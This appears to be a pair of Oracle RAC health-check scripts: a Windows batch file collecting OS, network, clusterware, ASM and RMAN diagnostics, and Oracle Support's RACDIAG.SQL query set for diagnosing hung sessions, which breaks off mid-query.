    a.name
/
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********


MYDIAG.BAT
-------------------
set day=%date:~0,3%
set mm=%date:~4,2%
set dd=%date:~7,2%
set yy=%date:~-4%
set ORA_DIAG_CLINT=
set ORA_DIAG_OUPUT=sami.txt
set ORA_CRS_HOME_BIN=D:\app\user\product\11.1.0\db_1\BIN
set ORA_CRS_HOME=D:\app\user\product\11.1.0\db_1
set ORA_DB_HOME=D:\app\user\product\11.1.0\db_1
set ORACLE_ASM_SID=+ASM
set CRS_HOST1=user-TOSH
set CRS_HOST2=or-12
set ORA_DB_NAME=orcl
set ORA_DB_INST1=orcl
set ORA_DB_INST2=TESTRAC2
set ORA_DB_ALERT_FILE=D:\app\user\diag\rdbms\orcl\orcl\trace\alert_orcl.log
del sami.txt
echo Health Check Started: %date% - %time% >> %ORA_DIAG_OUPUT%
echo
echo
EVENTCREATE /T INFORMATION /ID 1000 /L APPLICATION /D " Starting Oracle RAC/DB Health Check by Sami"
CLS
:OS
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Operating System                                  # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%
color a
echo ######################### System Info ####################################### >> %ORA_DIAG_OUPUT%
SYSTEMINFO >> %ORA_DIAG_OUPUT%
echo ######################### Checking ability to perform the software copy ###### >> %ORA_DIAG_OUPUT%
net use \\%CRS_HOST1%\C$ >> %ORA_DIAG_OUPUT%
net use \\%CRS_HOST2%\C$ >> %ORA_DIAG_OUPUT%
echo ######################### Displaying Services Info ########################## >> %ORA_DIAG_OUPUT%
SC query  >> %ORA_DIAG_OUPUT%
echo ######################### Checking Diskpart ################################## >> %ORA_DIAG_OUPUT%
ECHO list disk >> temp
ECHO list vol >> temp
diskpart /s temp  >> %ORA_DIAG_OUPUT%
del temp
echo

goto :NETWORK
:NETWORK
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Network                                           # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo ######################### Checking ARP ####################################### >> %ORA_DIAG_OUPUT%
ARP -a  >> %ORA_DIAG_OUPUT%
echo ######################### Displaying IPCONFIG  ############################### >> %ORA_DIAG_OUPUT%
ipconfig /all  >> %ORA_DIAG_OUPUT%
echo ######################### Network Latency Check  ############################# >> %ORA_DIAG_OUPUT%
pathping %CRS_HOST1%  >> %ORA_DIAG_OUPUT%
pathping %CRS_HOST2%  >> %ORA_DIAG_OUPUT%
echo ######################### General Global Parameters  ######################### >> %ORA_DIAG_OUPUT%
echo ********* IPV4 >> %ORA_DIAG_OUPUT%
netsh interface ipv4 show global >> %ORA_DIAG_OUPUT%
echo ********* IPV6 >> %ORA_DIAG_OUPUT%
netsh interface ipv6 show global >> %ORA_DIAG_OUPUT%
echo

goto :CLUSTERWARE
:CLUSTERWARE
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Clusterware                                       # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
color b
set PATH=%ORA_CRS_HOME_BIN%;
echo ################################ Checing CRS ################################ >> %ORA_DIAG_OUPUT%
crsctl check crs >> %ORA_DIAG_OUPUT%
crsctl check cluster -all >> %ORA_DIAG_OUPUT%
echo ################################ Quick Check CRS Stats ###################### >> %ORA_DIAG_OUPUT%
crs_stat -t >> %ORA_DIAG_OUPUT%
crsctl stat res -t >> %ORA_DIAG_OUPUT%
echo ################################  Checking RAC DB Status #################### >> %ORA_DIAG_OUPUT%
srvctl status database -d %ORA_DB_NAME% -v >> %ORA_DIAG_OUPUT%
echo ################################  Checking Instance Status ################## >> %ORA_DIAG_OUPUT%
srvctl status instance  -d %ORA_DB_NAME% -i %ORA_DB_INST1% -v >> %ORA_DIAG_OUPUT%
srvctl status instance  -d %ORA_DB_NAME% -i %ORA_DB_INST2% -v >> %ORA_DIAG_OUPUT%
echo ################################ Status of all Nodes ######################## >> %ORA_DIAG_OUPUT%
srvctl status nodeapps -n %CRS_HOST1% >> %ORA_DIAG_OUPUT%
srvctl status nodeapps -n %CRS_HOST2% >> %ORA_DIAG_OUPUT%
echo ################################ Checking OCR ############################### >> %ORA_DIAG_OUPUT%
echo *********OCRCHECK >> %ORA_DIAG_OUPUT%
ocrcheck >> %ORA_DIAG_OUPUT%
echo *********OCR Backup >> %ORA_DIAG_OUPUT%
ocrconfig -showbackup  >> %ORA_DIAG_OUPUT%
echo ################################ Checking VOTE Disk ######################### >> %ORA_DIAG_OUPUT%
crsctl query css votedisk >> %ORA_DIAG_OUPUT%
echo ################################ Checking current settings for VIP diag###### >> %ORA_DIAG_OUPUT%
srvctl config nodeapps  -a -g -s >> %ORA_DIAG_OUPUT%
echo ################################ Checking Cluster Time Synchronization ###### >> %ORA_DIAG_OUPUT%
crsctl check ctss >> %ORA_DIAG_OUPUT%
echo ################ Checking High Availability Services automatic startup ###### >> %ORA_DIAG_OUPUT%
crsctl config crs >> %ORA_DIAG_OUPUT%
cho ################################ Checking ASM  ############################### >> %ORA_DIAG_OUPUT%
echo *********ASM Disks >> %ORA_DIAG_OUPUT%
asmtool -list >> %ORA_DIAG_OUPUT%
echo *********ASM Instances >> %ORA_DIAG_OUPUT%
srvctl status asm -n %CRS_HOST1% >> %ORA_DIAG_OUPUT%
srvctl status asm -n %CRS_HOST2% >> %ORA_DIAG_OUPUT%
echo *********ASM Diskgroups >> %ORA_DIAG_OUPUT%
set ORACLE_SID=%ORACLE_ASM_SID%
set ORACLE_HOME=%ORA_DB_HOME%
%ORA_DB_HOME%\bin\asmcmd ls >> %ORA_DIAG_OUPUT%
%ORA_DB_HOME%\bin\asmcmd lsdg >> %ORA_DIAG_OUPUT%
set ORACLE_SID=NULL

echo
echo
echo ################################ Checking CLUVFY ############################ >> %ORA_DIAG_OUPUT%
color c
echo *********** compliance with mandatory requirements and best practices >> %ORA_DIAG_OUPUT%
cluvfy comp healthcheck >> %ORA_DIAG_OUPUT%
echo
echo
echo *********** CRSINST >> %ORA_DIAG_OUPUT%
cluvfy stage -pre crsinst -n %CRS_HOST1%,%CRS_HOST1% -verbose >> %ORA_DIAG_OUPUT%
echo *********** DBINST >> %ORA_DIAG_OUPUT%
cluvfy stage -pre dbinst -n %CRS_HOST1%,%CRS_HOST1% -verbose >> %ORA_DIAG_OUPUT%
echo *********** DBCFG >> %ORA_DIAG_OUPUT%
cluvfy stage -pre dbcfg -n all -d %ORA_CRS_HOME% -verbose >> %ORA_DIAG_OUPUT%
ehco

goto :DATABASE
:DATABASE
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Database                                          # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
color d
set ORACLE_SID=%ORA_DB_INST1%
set ORACLE_SID=RAC1
echo ################################ Running Scripts on DB ###################### >> %ORA_DIAG_OUPUT%
echo *********** SGA >> %ORA_DIAG_OUPUT%
set ORA_DIAG_OUPUT=sami.txt
del temp.sql
del temp
echo set lines 180
echo set pages 50
echo spool temp >> temp.sql
echo show sga; >> temp.sql
echo select  '*********** List of all datafiles' " " from dual; >> temp.sql
echo select substr(file_name,1,50) file_name, bytes/1024/1024  from dba_data_files; >> temp.sql
echo select '*********** Status of all the groups' " " from dual; >> temp.sql
echo select group#, type, substr(member,1,50) member, is_recovery_dest_file  from v$logfile order by group#; >> temp.sql
echo select '*********** diskgroup view' " " from dual; >> temp.sql
echo select group_number, substr(name,1,20),allocation_unit_size alloc_unit_size,state,type,total_mb,usable_file_mb from v$asm_diskgroup; >> temp.sql

echo spool off >> temp.sql
echo exit; >> temp.sql
sqlplus -S / as sysdba @temp
type temp.lst  >> %ORA_DIAG_OUPUT%
echo
:ERROR
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - Errors                                            # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

color e
echo ################################ Checking for 07445 ######################### >> %ORA_DIAG_OUPUT%
find "ora-07445" %ORA_DB_ALERT_FILE% /I /N >> %ORA_DIAG_OUPUT%
echo ################################ Checking for 00600 ######################### >> %ORA_DIAG_OUPUT%
find "ora-00600" %ORA_DB_ALERT_FILE% /I /N >> %ORA_DIAG_OUPUT%
echo
:RMAN
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - RMAN                                              # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
color f
set ORACLE_SID=%ORA_DB_INST1%

echo ################################ RMAN Configurations ######################## >> %ORA_DIAG_OUPUT%
del temp.sql
del temp
echo show all; >> temp.rcv
echo list backup; >> temp.rcv
%ORA_DB_HOME%\bin\rman target / CMDFILE=temp.rcv >>  %ORA_DIAG_OUPUT%
del temp.rcv
echo

:ADDM
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - ADDM                                              # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
color
echo ################################ Running ADDM ########################### >> %ORA_DIAG_OUPUT%
echo *********** Please provide the begin/end snap ids and filename must be temp
del temp.sql
del temp
echo @%ORA_DB_HOME%\RDBMS\ADMIN\addmrpt; >> temp.sql
echo exit; >> temp.sql
sqlplus -S / as sysdba @temp
type temp.lst  >> %ORA_DIAG_OUPUT%
echo ################################ End of ADDM ########################### >> %ORA_DIAG_OUPUT%
echo
:AWR
echo ############################################################################# >> %ORA_DIAG_OUPUT%
echo #              Analysis - AWR                                               # >> %ORA_DIAG_OUPUT%
echo ############################################################################# >> %ORA_DIAG_OUPUT%

echo
echo
echo ################################ Running AWR ################################ >> %ORA_DIAG_OUPUT%
del temp.sql
del temp
echo @%ORA_DB_HOME%\RDBMS\ADMIN\awrrpt; >> temp.sql
echo exit; >> temp.sql
sqlplus -S / as sysdba @temp
echo ################################ End of AWR ################################# >> %ORA_DIAG_OUPUT%
type temp.lst  >> %ORA_DIAG_OUPUT%
echo
goto :EOF
:EOF
EVENTCREATE /T INFORMATION /ID 1000 /L APPLICATION /D " Finished Oracle RAC/DB Health Check by Sami"
echo
echo
echo Helath Check Finished: %date% - %time% >> %ORA_DIAG_OUPUT%

******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********
******------------>>>>>>>>>>>><<<<<<<<<<<<<<<<<<----------***********


-- NAME: RACDIAG.SQL
-- SYS OR INTERNAL USER, CATPARR.SQL ALREADY RUN, PARALLEL QUERY OPTION ON
-- ------------------------------------------------------------------------
-- AUTHOR:
-- Michael Polaski - Oracle Support Services
-- Copyright 2002, Oracle Corporation
-- ------------------------------------------------------------------------
-- PURPOSE:
-- This script is intended to provide a user friendly guide to troubleshoot
-- RAC hung sessions or slow performance scenerios. The script includes
-- information to gather a variety of important debug information to determine
-- the cause of a RAC session level hang. The script will create a file
-- called racdiag_.out in your local directory while dumping hang analyze
-- dumps in the user_dump_dest(s) and background_dump_dest(s) on all nodes.
--
-- ------------------------------------------------------------------------
-- DISCLAIMER:
-- This script is provided for educational purposes only. It is NOT
-- supported by Oracle World Wide Technical Support.
-- The script has been tested and appears to work as intended.
-- You should always run new scripts on a test instance initially.
-- ------------------------------------------------------------------------
-- Script output is as follows:
set echo off
set feedback off
column timecol new_value timestamp
column spool_extension new_value suffix
select to_char(sysdate,'Mondd_hhmi') timecol,
'.out' spool_extension from sys.dual;
column output new_value dbname
select value || '_' output
from v$parameter where name = 'db_name';
spool racdiag_&&dbname&&timestamp&&suffix
set lines 200
set pagesize 35
set trim on
set trims on
alter session set nls_date_format = 'MON-DD-YYYY HH24:MI:SS';
alter session set timed_statistics = true;
set feedback on
select to_char(sysdate) time from dual;
set numwidth 5
column host_name format a20 tru
select inst_id, instance_name, host_name, version, status, startup_time
from gv$instance
order by inst_id;
set echo on
-- WAIT CHAINS
-- 11.x+ Only (This will not work in < v11
-- See Note 1428210.1 for instructions on interpreting.
set pages 1000
set lines 120
set heading off
column w_proc format a50 tru
column instance format a20 tru
column inst format a28 tru
column wait_event format a50 tru
column p1 format a16 tru
column p2 format a16 tru
column p3 format a15 tru
column Seconds format a50 tru
column sincelw format a50 tru
column blocker_proc format a50 tru
column waiters format a50 tru
column chain_signature format a100 wra
column blocker_chain format a100 wra
SELECT *
FROM (SELECT 'Current Process: '||osid W_PROC, 'SID '||i.instance_name INSTANCE,
'INST #: '||instance INST,'Blocking Process: '||decode(blocker_osid,null,'',blocker_osid)||
' from Instance '||blocker_instance BLOCKER_PROC,'Number of waiters: '||num_waiters waiters,
'Wait Event: ' ||wait_event_text wait_event, 'P1: '||p1 p1, 'P2: '||p2 p2, 'P3: '||p3 p3,
'Seconds in Wait: '||in_wait_secs Seconds, 'Seconds Since Last Wait: '||time_since_last_wait_secs sincelw,
'Wait Chain: '||chain_id ||': '||chain_signature chain_signature,'Blocking Wait Chain: '||decode(blocker_chain_id,null,
'',blocker_chain_id) blocker_chain
FROM v$wait_chains wc,
v$instance i
WHERE wc.instance = i.instance_number (+)
AND ( num_waiters > 0
OR ( blocker_osid IS NOT NULL
AND in_wait_secs > 10 ) )
ORDER BY chain_id,
num_waiters DESC)
WHERE ROWNUM < 101;

-- Taking Hang Analyze dumps
-- This may take a little while...
oradebug setmypid
oradebug unlimit
oradebug -g all hanganalyze 3
-- This part may take the longest, you can monitor bdump or udump to see if
-- the file is being generated.
oradebug -g all dump systemstate 258
-- WAITING SESSIONS:
-- The entries that are shown at the top are the sessions that have
-- waited the longest amount of time that are waiting for non-idle wait
-- events (event column). You can research and find out what the wait
-- event indicates (along with its parameters) by checking the Oracle
-- Server Reference Manual or look for any known issues or documentation
-- by searching Metalink for the event name in the search bar. Example
-- (include single quotes): [ 'buffer busy due to global cache' ].
-- Metalink and/or the Server Reference Manual should return some useful
-- information on each type of wait event. The inst_id column shows the
-- instance where the session resides and the SID is the unique identifier
-- for the session (gv$session). The p1, p2, and p3 columns will show
-- event specific information that may be important to debug the problem.
-- To find out what the p1, p2, and p3 indicates see the next section.
-- Items with wait_time of anything other than 0 indicate we do not know
-- how long these sessions have been waiting.
--
set numwidth 10
column state format a7 tru
column event format a25 tru
column last_sql format a40 tru
select sw.inst_id, sw.sid, sw.state, sw.event, sw.seconds_in_wait seconds,
sw.p1, sw.p2, sw.p3, sa.sql_text last_sql
from gv$session_wait sw, gv$session s, gv$sqlarea sa
where sw.event not in
('rdbms ipc message','smon timer','pmon timer',
'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
and sw.seconds_in_wait > 0
and (sw.inst_id = s.inst_id and sw.sid = s.sid)
and (s.inst_id = sa.inst_id and s.sql_address = sa.address)
order by seconds desc;
-- EVENT PARAMETER LOOKUP:
-- This section will give a description of the parameter names of the
-- events seen in the last section. p1test is the parameter value for
-- p1 in the WAITING SESSIONS section while p2text is the parameter
-- value for p3 and p3 text is the parameter value for p3. The
-- parameter values in the first section can be helpful for debugging
-- the wait event.
--
column event format a30 tru
column p1text format a25 tru
column p2text format a25 tru
column p3text format a25 tru
select distinct event, p1text, p2text, p3text
from gv$session_wait sw
where sw.event not in ('rdbms ipc message','smon timer','pmon timer',
'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
and seconds_in_wait > 0
order by event;
-- GES LOCK BLOCKERS:
-- This section will show us any sessions that are holding locks that
-- are blocking other users. The inst_id will show us the instance that
-- the session resides on while the sid will be a unique identifier for
-- the session. The grant_level will show us how the GES lock is granted to
-- the user. The request_level will show us what status we are trying to
-- obtain.  The lockstate column will show us what status the lock is in.
-- The last column shows how long this session has been waiting.
--
set numwidth 5
column state format a16 tru;
column event format a30 tru;
select dl.inst_id, s.sid, p.spid, dl.resource_name1,
decode(substr(dl.grant_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as grant_level,
decode(substr(dl.request_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as request_level,
decode(substr(dl.state,1,8),'KJUSERGR','Granted','KJUSEROP','Opening',
'KJUSERCA','Canceling','KJUSERCV','Converting') as state,
s.sid, sw.event, sw.seconds_in_wait sec
from gv$ges_enqueue dl, gv$process p, gv$session s, gv$session_wait sw
where blocker = 1
and (dl.inst_id = p.inst_id and dl.pid = p.spid)
and (p.inst_id = s.inst_id and p.addr = s.paddr)
and (s.inst_id = sw.inst_id and s.sid = sw.sid)
order by sw.seconds_in_wait desc;
-- GES LOCK WAITERS:
-- This section will show us any sessions that are waiting for locks that
-- are blocked by other users. The inst_id will show us the instance that
-- the session resides on while the sid will be a unique identifier for
-- the session. The grant_level will show us how the GES lock is granted to
-- the user. The request_level will show us what status we are trying to
-- obtain.  The lockstate column will show us what status the lock is in.
-- The last column shows how long this session has been waiting.
--
set numwidth 5
column state format a16 tru;
column event format a30 tru;
select dl.inst_id, s.sid, p.spid, dl.resource_name1,
decode(substr(dl.grant_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as grant_level,
decode(substr(dl.request_level,1,8),'KJUSERNL','Null','KJUSERCR','Row-S (SS)',
'KJUSERCW','Row-X (SX)','KJUSERPR','Share','KJUSERPW','S/Row-X (SSX)',
'KJUSEREX','Exclusive',request_level) as request_level,
decode(substr(dl.state,1,8),'KJUSERGR','Granted','KJUSEROP','Opening',
'KJUSERCA','Cancelling','KJUSERCV','Converting') as state,
s.sid, sw.event, sw.seconds_in_wait sec
from gv$ges_enqueue dl, gv$process p, gv$session s, gv$session_wait sw
where blocked = 1
and (dl.inst_id = p.inst_id and dl.pid = p.spid)
and (p.inst_id = s.inst_id and p.addr = s.paddr)
and (s.inst_id = sw.inst_id and s.sid = sw.sid)
order by sw.seconds_in_wait desc;
-- LOCAL ENQUEUES:
-- This section will show us if there are any local enqueues. The inst_id will
-- show us the instance that the session resides on while the sid will be a
-- unique identifier for. The addr column will show the lock address. The type
-- will show the lock type. The id1 and id2 columns will show specific
-- parameters for the lock type.
--
set numwidth 12
column event format a12 tru
select l.inst_id, l.sid, l.addr, l.type, l.id1, l.id2,
decode(l.block,0,'blocked',1,'blocking',2,'global') block,
sw.event, sw.seconds_in_wait sec
from gv$lock l, gv$session_wait sw
where (l.sid = sw.sid and l.inst_id = sw.inst_id)
and l.block in (0,1)
order by l.type, l.inst_id, l.sid;
-- LATCH HOLDERS:
-- If there is latch contention or 'latch free' wait events in the WAITING
-- SESSIONS section we will need to find out which proceseses are holding
-- latches. The inst_id will show us the instance that the session resides
-- on while the sid will be a unique identifier for. The username column
-- will show the session's username. The os_user column will show the os
-- user that the user logged in as. The name column will show us the type
-- of latch being waited on. You can search Metalink for the latch name in
-- the search bar. Example (include single quotes):
-- [ 'library cache' latch ]. Metalink should return some useful information
-- on the type of latch.
--
set numwidth 5
select distinct lh.inst_id, s.sid, s.username, p.username os_user, lh.name
from gv$latchholder lh, gv$session s, gv$process p
where (lh.sid = s.sid and lh.inst_id = s.inst_id)
and (s.inst_id = p.inst_id and s.paddr = p.addr)
order by lh.inst_id, s.sid;
-- LATCH STATS:
-- This view will show us latches with less than optimal hit ratios
-- The inst_id will show us the instance for the particular latch. The
-- latch_name column will show us the type of latch. You can search Metalink
-- for the latch name in the search bar. Example (include single quotes):
-- [ 'library cache' latch ]. Metalink should return some useful information
-- on the type of latch. The hit_ratio shows the percentage of time we
-- successfully acquired the latch.
--
column latch_name format a30 tru
select inst_id, name latch_name,
round((gets-misses)/decode(gets,0,1,gets),3) hit_ratio,
round(sleeps/decode(misses,0,1,misses),3) "SLEEPS/MISS"
from gv$latch
where round((gets-misses)/decode(gets,0,1,gets),3) < .99
and gets != 0
order by round((gets-misses)/decode(gets,0,1,gets),3);
-- No Wait Latches:
--
select inst_id, name latch_name,
round((immediate_gets/(immediate_gets+immediate_misses)), 3) hit_ratio,
round(sleeps/decode(immediate_misses,0,1,immediate_misses),3) "SLEEPS/MISS"
from gv$latch
where round((immediate_gets/(immediate_gets+immediate_misses)), 3) < .99
and immediate_gets + immediate_misses > 0
order by round((immediate_gets/(immediate_gets+immediate_misses)), 3);
-- GLOBAL CACHE CR PERFORMANCE
-- This shows the average latency of a consistent block request.
-- AVG CR BLOCK RECEIVE TIME should typically be about 15 milliseconds
-- depending on your system configuration and volume, is the average
-- latency of a consistent-read request round-trip from the requesting
-- instance to the holding instance and back to the requesting instance. If
-- your CPU has limited idle time and your system typically processes
-- long-running queries, then the latency may be higher. However, it is
-- possible to have an average latency of less than one millisecond with
-- User-mode IPC. Latency can be influenced by a high value for the
-- DB_MULTI_BLOCK_READ_COUNT parameter. This is because a requesting process
-- can issue more than one request for a block depending on the setting of
-- this parameter. Correspondingly, the requesting process may wait longer.
-- Also check interconnect badwidth, OS tcp settings, and OS udp settings if
-- AVG CR BLOCK RECEIVE TIME is high.
--
set numwidth 20
column "AVG CR BLOCK RECEIVE TIME (ms)" format 9999999.9
select b1.inst_id, b2.value "GCS CR BLOCKS RECEIVED",
b1.value "GCS CR BLOCK RECEIVE TIME",
((b1.value / b2.value) * 10) "AVG CR BLOCK RECEIVE TIME (ms)"
from gv$sysstat b1, gv$sysstat b2
where b1.name = 'global cache cr block receive time' and
b2.name = 'global cache cr blocks received' and b1.inst_id = b2.inst_id
or b1.name = 'gc cr block receive time' and
b2.name = 'gc cr blocks received' and b1.inst_id = b2.inst_id ;
-- GLOBAL CACHE LOCK PERFORMANCE
-- This shows the average global enqueue get time.
-- Typically AVG GLOBAL LOCK GET TIME should be 20-30 milliseconds. the
-- elapsed time for a get includes the allocation and initialization of a
-- new global enqueue. If the average global enqueue get (global cache
-- get time) or average global enqueue conversion times are excessive,
-- then your system may be experiencing timeouts. See the 'WAITING SESSIONS',
-- 'GES LOCK BLOCKERS', GES LOCK WAITERS', and 'TOP 10 WAIT EVENTS ON SYSTEM'
-- sections if the AVG GLOBAL LOCK GET TIME is high.
--
set numwidth 20
column "AVG GLOBAL LOCK GET TIME (ms)" format 9999999.9
select b1.inst_id, (b1.value + b2.value) "GLOBAL LOCK GETS",
b3.value "GLOBAL LOCK GET TIME",
(b3.value / (b1.value + b2.value) * 10) "AVG GLOBAL LOCK GET TIME (ms)"
from gv$sysstat b1, gv$sysstat b2, gv$sysstat b3
where b1.name = 'global lock sync gets' and
b2.name = 'global lock async gets' and b3.name = 'global lock get time'
and b1.inst_id = b2.inst_id and b2.inst_id = b3.inst_id
or b1.name = 'global enqueue gets sync' and
b2.name = 'global enqueue gets async' and b3.name = 'global enqueue get time'
and b1.inst_id = b2.inst_id and b2.inst_id = b3.inst_id;
-- RESOURCE USAGE
-- This section will show how much of our resources we have used.
--
set numwidth 8
select inst_id, resource_name, current_utilization, max_utilization,
initial_allocation
from gv$resource_limit
where max_utilization > 0
order by inst_id, resource_name;
-- DLM TRAFFIC INFORMATION
-- This section shows how many tickets are available in the DLM. If the
-- TCKT_WAIT columns says "YES" then we have run out of DLM tickets which
-- could cause a DLM hang. Make sure that you also have enough TCKT_AVAIL.
--
set numwidth 5
select * from gv$dlm_traffic_controller
order by TCKT_AVAIL;
-- DLM MISC
--
set numwidth 10
select * from gv$dlm_misc;
-- LOCK CONVERSION DETAIL:
-- This view shows the types of lock conversion being done on each instance.
--
select * from gv$lock_activity;
-- TOP 10 WRITE PINGING/FUSION OBJECTS
-- This view shows the top 10 objects for write pings accross instances.
-- The inst_id column shows the node that the block was pinged on. The name
-- column shows the object name of the offending object. The file# shows the
-- offending file number (gc_files_to_locks). The STATUS column will show the
-- current status of the pinged block. The READ_PINGS will show us read
-- converts and the WRITE_PINGS will show us objects with write converts.
-- Any rows that show up are objects that are concurrently accessed across
-- more than 1 instance.
--
set numwidth 8
column name format a20 tru
column kind format a10 tru
select inst_id, name, kind, file#, status, BLOCKS,
READ_PINGS, WRITE_PINGS
from (select p.inst_id, p.name, p.kind, p.file#, p.status,
count(p.block#) BLOCKS, sum(p.forced_reads) READ_PINGS,
sum(p.forced_writes) WRITE_PINGS
from gv$ping p, gv$datafile df
where p.file# = df.file# (+)
group by p.inst_id, p.name, p.kind, p.file#, p.status
order by sum(p.forced_writes) desc)
where rownum < 11
order by WRITE_PINGS desc;
-- TOP 10 READ PINGING/FUSION OBJECTS
-- This view shows the top 10 objects for read pings. The inst_id column shows
-- the node that the block was pinged on. The name column shows the object
-- name of the offending object. The file# shows the offending file number
-- (gc_files_to_locks). The STATUS column will show the current status of the
-- pinged block. The READ_PINGS will show us read converts and the WRITE_PINGS
-- will show us objects with write converts. Any rows that show up are objects
-- that are concurrently accessed across more than 1 instance.
--
set numwidth 8
column name format a20 tru
column kind format a10 tru
select inst_id, name, kind, file#, status, BLOCKS,
READ_PINGS, WRITE_PINGS
from (select p.inst_id, p.name, p.kind, p.file#, p.status,
count(p.block#) BLOCKS, sum(p.forced_reads) READ_PINGS,
sum(p.forced_writes) WRITE_PINGS
from gv$ping p, gv$datafile df
where p.file# = df.file# (+)
group by p.inst_id, p.name, p.kind, p.file#, p.status
order by sum(p.forced_reads) desc)
where rownum < 11
order by READ_PINGS desc;
-- TOP 10 FALSE PINGING OBJECTS
-- This view shows the top 10 objects for false pings. This can be avoided by
-- better gc_files_to_locks configuration. The inst_id column shows the node
-- that the block was pinged on. The name column shows the object name of the
-- offending object. The file# shows the offending file number
-- (gc_files_to_locks). The STATUS column will show the current status of the
-- pinged block. The READ_PINGS will show us read converts and the WRITE_PINGS
-- will show us objects with write converts. Any rows that show up are objects
-- that are concurrently accessed across more than 1 instance.
--
set numwidth 8
column name format a20 tru
column kind format a10 tru
select inst_id, name, kind, file#, status, BLOCKS,
READ_PINGS, WRITE_PINGS
from (select p.inst_id, p.name, p.kind, p.file#, p.status,
count(p.block#) BLOCKS, sum(p.forced_reads) READ_PINGS,
sum(p.forced_writes) WRITE_PINGS
from gv$false_ping p, gv$datafile df
where p.file# = df.file# (+)
group by p.inst_id, p.name, p.kind, p.file#, p.status
order by sum(p.forced_writes) desc)
where rownum < 11
order by WRITE_PINGS desc;
-- INITIALIZATION PARAMETERS:
-- Non-default init parameters for each node.
--
set numwidth 5
column name format a30 tru
column value format a50 wra
column description format a60 tru
select inst_id, name, value, description
from gv$parameter
where isdefault = 'FALSE'
order by inst_id, name;
-- TOP 10 WAIT EVENTS ON SYSTEM
-- This view will provide a summary of the top wait events in the db.
--
set numwidth 10
column event format a25 tru
select inst_id, event, time_waited, total_waits, total_timeouts
from (select inst_id, event, time_waited, total_waits, total_timeouts
from gv$system_event where event not in ('rdbms ipc message','smon timer',
'pmon timer', 'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
'listen endpoint status','slave wait','wakeup time manager')
order by time_waited desc)
where rownum < 11
order by time_waited desc;
-- SESSION/PROCESS REFERENCE:
-- This section is very important for most of the above sections to find out
-- which user/os_user/process is identified to which session/process.
--
set numwidth 7
column event format a30 tru
column program format a25 tru
column username format a15 tru
select p.inst_id, s.sid, s.serial#, p.pid, p.spid, p.program, s.username,
p.username os_user, sw.event, sw.seconds_in_wait sec
from gv$process p, gv$session s, gv$session_wait sw
where (p.inst_id = s.inst_id and p.addr = s.paddr)
and (s.inst_id = sw.inst_id and s.sid = sw.sid)
order by p.inst_id, s.sid;
-- SYSTEM STATISTICS:
-- All System Stats with values of > 0. These can be referenced in the
-- Server Reference Manual
--
set numwidth 5
column name format a60 tru
column value format 9999999999999999999999999
select inst_id, name, value
from gv$sysstat
where value > 0
order by inst_id, name;
-- CURRENT SQL FOR WAITING SESSIONS:
-- Current SQL for any session in the WAITING SESSIONS list
--
set numwidth 5
column sql format a80 wra
select sw.inst_id, sw.sid, sw.seconds_in_wait sec, sa.sql_text sql
from gv$session_wait sw, gv$session s, gv$sqlarea sa
where sw.sid = s.sid (+)
and sw.inst_id = s.inst_id (+)
and s.sql_address = sa.address
and sw.event not in ('rdbms ipc message','smon timer','pmon timer',
'SQL*Net message from client','lock manager wait for remote message',
'ges remote message', 'gcs remote message', 'gcs for action', 'client message',
'pipe get', 'null event', 'PX Idle Wait', 'single-task message',
'PX Deq: Execution Msg', 'KXFQ: kxfqdeq - normal deqeue',
